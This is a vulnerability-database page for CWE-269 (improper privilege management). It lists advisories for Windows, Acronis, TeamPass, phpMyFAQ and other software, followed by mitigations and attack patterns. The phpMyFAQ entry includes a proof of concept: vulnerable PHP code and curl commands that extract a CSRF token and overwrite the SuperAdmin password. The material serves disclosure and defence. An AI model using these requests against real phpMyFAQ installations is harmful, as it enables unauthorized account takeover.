Common Weakness Enumeration

CWE-269

Discouraged

Improper Privilege Management

Abstraction: Class · Status: Draft

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

5427 vulnerabilities reference this CWE, most recent first.

GHSA-XRVH-JJ58-RJ6P

Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18
VLAI
Details

An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka 'Windows Runtime Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-1077, CVE-2020-1086, CVE-2020-1090, CVE-2020-1125, CVE-2020-1139, CVE-2020-1149, CVE-2020-1151, CVE-2020-1155, CVE-2020-1156, CVE-2020-1158, CVE-2020-1164.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-21T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka \u0027Windows Runtime Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-1077, CVE-2020-1086, CVE-2020-1090, CVE-2020-1125, CVE-2020-1139, CVE-2020-1149, CVE-2020-1151, CVE-2020-1155, CVE-2020-1156, CVE-2020-1158, CVE-2020-1164.",
  "id": "GHSA-xrvh-jj58-rj6p",
  "modified": "2022-05-24T17:18:32Z",
  "published": "2022-05-24T17:18:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1157"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1157"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XV63-CPGC-6G6C

Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2022-05-24 17:19
VLAI
Details

An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka 'Windows Runtime Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-1231, CVE-2020-1233, CVE-2020-1235, CVE-2020-1265, CVE-2020-1282, CVE-2020-1306, CVE-2020-1334.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-09T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka \u0027Windows Runtime Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-1231, CVE-2020-1233, CVE-2020-1235, CVE-2020-1265, CVE-2020-1282, CVE-2020-1306, CVE-2020-1334.",
  "id": "GHSA-xv63-cpgc-6g6c",
  "modified": "2022-05-24T17:19:58Z",
  "published": "2022-05-24T17:19:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1304"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XV9R-2FF8-GXXC

Vulnerability from github – Published: 2023-08-31 18:30 – Updated: 2023-08-31 18:30
VLAI
Details

Local privilege escalation due to insecure driver communication port permissions. The following products are affected: Acronis Cyber Protect Home Office (Windows) before build 40173, Acronis Agent (Windows) before build 31637, Acronis Cyber Protect 15 (Windows) before build 35979.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-41743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-31T16:15:10Z",
    "severity": "HIGH"
  },
  "details": "Local privilege escalation due to insecure driver communication port permissions. The following products are affected: Acronis Cyber Protect Home Office (Windows) before build 40173, Acronis Agent (Windows) before build 31637, Acronis Cyber Protect 15 (Windows) before build 35979.",
  "id": "GHSA-xv9r-2ff8-gxxc",
  "modified": "2023-08-31T18:30:28Z",
  "published": "2023-08-31T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41743"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/SEC-4858"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-5487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVF4-X9J7-VF2F

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2023-12-31 21:30
VLAI
Details

An elevation of privilege vulnerability exists when Windows improperly handles COM object creation, aka 'Windows COM Server Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-16916.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-16935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-16T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists when Windows improperly handles COM object creation, aka \u0027Windows COM Server Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-16916.",
  "id": "GHSA-xvf4-x9j7-vf2f",
  "modified": "2023-12-31T21:30:23Z",
  "published": "2022-05-24T17:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16935"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16935"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVH7-J354-HWW5

Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-05-24 17:14
VLAI
Details

An elevation of privilege vulnerability exists when the MpSigStub.exe for Defender allows file deletion in arbitrary locations.To exploit the vulnerability, an attacker would first have to log on to the system, aka 'Microsoft Defender Elevation of Privilege Vulnerability'.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-15T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An elevation of privilege vulnerability exists when the MpSigStub.exe for Defender allows file deletion in arbitrary locations.To exploit the vulnerability, an attacker would first have to log on to the system, aka \u0027Microsoft Defender Elevation of Privilege Vulnerability\u0027.",
  "id": "GHSA-xvh7-j354-hww5",
  "modified": "2022-05-24T17:14:36Z",
  "published": "2022-05-24T17:14:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1002"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XVJ3-85HJ-4H72

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2023-12-29 00:30
VLAI
Details

Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-34461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-16T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability",
  "id": "GHSA-xvj3-85hj-4h72",
  "modified": "2023-12-29T00:30:36Z",
  "published": "2022-05-24T19:08:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34461"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34461"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVJF-394G-PHRR

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2024-04-24 22:28
VLAI
Summary
TeamPass Improper Privilege Management
Details

TeamPass before 2.1.27.9 does not properly enforce manager access control when requesting roles.queries.php. It is then possible for a manager user to modify any arbitrary roles within the application, or delete any arbitrary role. To exploit the vulnerability, an authenticated attacker must have the manager rights on the application, then tamper with the requests sent directly, for example by changing the "id" parameter when invoking "delete_role" on roles.queries.php.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "nilsteampassnet/teampass"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.27.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-15053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T22:28:27Z",
    "nvd_published_at": "2017-11-27T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "TeamPass before 2.1.27.9 does not properly enforce manager access control when requesting roles.queries.php. It is then possible for a manager user to modify any arbitrary roles within the application, or delete any arbitrary role. To exploit the vulnerability, an authenticated attacker must have the manager rights on the application, then tamper with the requests sent directly, for example by changing the \"id\" parameter when invoking \"delete_role\" on roles.queries.php.",
  "id": "GHSA-xvjf-394g-phrr",
  "modified": "2024-04-24T22:28:27Z",
  "published": "2022-05-13T01:43:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15053"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nilsteampassnet/TeamPass/commit/ef32e9c28b6ddc33cee8a25255bc8da54434af3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nilsteampassnet/TeamPass"
    },
    {
      "type": "WEB",
      "url": "http://blog.amossys.fr/teampass-multiple-cve-01.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TeamPass Improper Privilege Management"
}

GHSA-XVP4-PHQJ-CJR3

Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19
VLAI
Summary
phpMyFAQ: IDOR Account Takeover
Details

Summary

An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:

[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]

public function overwritePassword(Request $request): JsonResponse
{
    $this->userHasUserPermission();  // Only checks if user has USER_EDIT permission
    $currentUser = CurrentUser::getCurrentUser($this->configuration);
    $data = json_decode($request->getContent());
    $userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT);  // User-controlled!
    $csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
    $newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
    $retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
    if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
        return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
    }
    // NO check that $userId belongs to a user the admin should manage
    // NO check that target user has lower or equal privileges
    // Can overwrite password for ANY user, including SuperAdmin (userId=1)
    $currentUser->getUserById((int) $userId, allowBlockedUsers: true);
    $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
    if (hash_equals($newPassword, $retypedPassword)) {
        if (!$currentUser->changePassword($newPassword)) {
            return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
        }
        $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
        return $this->json(['success' => ...], Response::HTTP_OK);
    }
}

Root Causes:

  1. No verification that the requesting admin has permission to modify the target user's password
  2. No check that the target user has equal or lower privilege level
  3. The userId is taken directly from the request body without authorization context
  4. No multi-factor confirmation for privilege-escalating password changes

PoC

Prerequisites: Authenticated admin session with USER_EDIT permission

Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).

Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:

curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'

Step 3 - Change SuperAdmin Password:

curl -X PUT -H "Content-Type: application/json" \
  -b "PHPSESSID=admin_session" \
  -d '{
    "userId": 1,
    "csrf": "admin_csrf_token_value",
    "newPassword": "NewSuperAdminP@ss123!",
    "passwordRepeat": "NewSuperAdminP@ss123!"
  }' \
  http://target/admin/api/user/overwrite-password

Response: {"success":"The password was successfully changed."}

Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.

Who is Impacted:

  • Organizations with multiple admin users where not all should have SuperAdmin access
  • Any phpMyFAQ instance where privilege separation is configured
  • Multi-tenant environments where users should only manage their own accounts

Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission

Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-269",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-20T15:46:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n    $this-\u003euserHasUserPermission();  // Only checks if user has USER_EDIT permission\n    $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n    $data = json_decode($request-\u003egetContent());\n    $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT);  // User-controlled!\n    $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n    $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n    $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n    if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n        return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n    }\n    // NO check that $userId belongs to a user the admin should manage\n    // NO check that target user has lower or equal privileges\n    // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n    $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n    $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n    if (hash_equals($newPassword, $retypedPassword)) {\n        if (!$currentUser-\u003echangePassword($newPassword)) {\n            return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n        }\n        $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n        return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n    }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n  -b \"PHPSESSID=admin_session\" \\\n  -d \u0027{\n    \"userId\": 1,\n    \"csrf\": \"admin_csrf_token_value\",\n    \"newPassword\": \"NewSuperAdminP@ss123!\",\n    \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n  }\u0027 \\\n  http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
  "id": "GHSA-xvp4-phqj-cjr3",
  "modified": "2026-05-28T14:19:40Z",
  "published": "2026-05-20T15:46:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: IDOR Account Takeover "
}

GHSA-XVQG-MV25-RWVW

Vulnerability from github – Published: 2022-09-15 03:26 – Updated: 2022-10-07 16:25
VLAI
Summary
Parsing issue in matrix-org/node-irc leading to room takeovers
Details

Impact

Attackers can specify a specific string of characters, which would confuse the bridge into combining an attacker-owned channel and an existing channel, allowing them to grant themselves permissions in the channel.

Patched

The vulnerability has been patched in matrix-appservice-irc 0.35.0.

Workarounds

Disable dynamic channel joining via dynamicChannels.enabled to prevent users from joining new channels, which prevents any new channels being bridged outside of what is already bridged, and what is specified in the config.

References

  • https://matrix.org/blog/2022/09/13/security-release-of-matrix-appservice-irc-0-35-0-high-severity

Credits

Discovered and reported by Val Lorentz.

For more information

If you have any questions or comments about this advisory email us at security@matrix.org.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "matrix-appservice-irc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.35.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39203"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-15T03:26:10Z",
    "nvd_published_at": "2022-09-13T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAttackers can specify a specific string of characters, which would confuse the bridge into combining an attacker-owned channel and an existing channel, allowing them to grant themselves permissions in the channel.\n\n### Patched\n\nThe vulnerability has been patched in matrix-appservice-irc 0.35.0.\n\n### Workarounds\n\nDisable dynamic channel joining via `dynamicChannels.enabled` to prevent users from joining new channels, which prevents any new channels being bridged outside of what is already bridged, and what is specified in the config.\n\n### References\n\n- https://matrix.org/blog/2022/09/13/security-release-of-matrix-appservice-irc-0-35-0-high-severity\n\n### Credits\n\nDiscovered and reported by [Val Lorentz](https://valentin-lorentz.fr/).\n\n### For more information\n\nIf you have any questions or comments about this advisory email us at [security@matrix.org](mailto:security@matrix.org).",
  "id": "GHSA-xvqg-mv25-rwvw",
  "modified": "2022-10-07T16:25:29Z",
  "published": "2022-09-15T03:26:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/matrix-appservice-irc/security/advisories/GHSA-xvqg-mv25-rwvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39203"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/matrix-appservice-irc"
    },
    {
      "type": "WEB",
      "url": "https://matrix.org/blog/2022/09/13/security-release-of-matrix-appservice-irc-0-35-0-high-severity"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Parsing issue in matrix-org/node-irc leading to room takeovers"
}

GHSA-XVV3-3J3Q-VGXG

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2022-05-24 17:24
VLAI
Details

An exploitable privilege escalation vulnerability exists in the WebPro functionality of Aspire-derived NEC PBXes, including all versions of SV8100, SV9100, SL1100 and SL2100 devices. A specially crafted HTTP POST can cause privilege escalation resulting in a higher privileged account, including an undocumented developer level of access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-20029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-29T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An exploitable privilege escalation vulnerability exists in the WebPro functionality of Aspire-derived NEC PBXes, including all versions of SV8100, SV9100, SL1100 and SL2100 devices. A specially crafted HTTP POST can cause privilege escalation resulting in a higher privileged account, including an undocumented developer level of access.",
  "id": "GHSA-xvv3-3j3q-vgxg",
  "modified": "2022-05-24T17:24:35Z",
  "published": "2022-05-24T17:24:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20029"
    },
    {
      "type": "WEB",
      "url": "https://shadytel.su/files/nec_cve.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-48
Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Mitigation MIT-49
Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CAPEC-122: Privilege Abuse

An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.

CAPEC-233: Privilege Escalation

An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.

CAPEC-58: Restful Privilege Elevation

An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.